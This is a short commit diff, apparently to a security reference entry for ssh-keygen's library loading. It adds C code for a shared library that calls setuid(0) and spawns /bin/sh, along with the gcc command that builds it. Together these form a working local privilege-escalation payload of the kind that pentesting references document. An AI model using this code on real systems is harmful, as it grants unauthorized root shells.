update ssh-keygen with exploit code

This commit is contained in:
Zeeshan1234 2024-02-03 13:54:32 +05:00
parent 4eca50ea16
commit 8c873ee5bb

View File

@ -1,4 +1,26 @@
---
description: |
A Shared Library is loaded by the application and executed. You can create a shared library with the following code:
```c
#include <unistd.h>
void C_GetFunctionList(){
char *argv[] = {"/bin/sh", NULL};
setuid(0);
execve(argv[0], argv, NULL);
}
int main(int argc, char const *argv[])
{
return 0;
}
```
Compile it with:
```sh
gcc -shared -o lib.so -fPIC lib.c
```
Note: You can also define a constructor function to execute code when the library is loaded. But the `C_GetFunctionList` string needs to be present.
functions:
library-load:
- description: |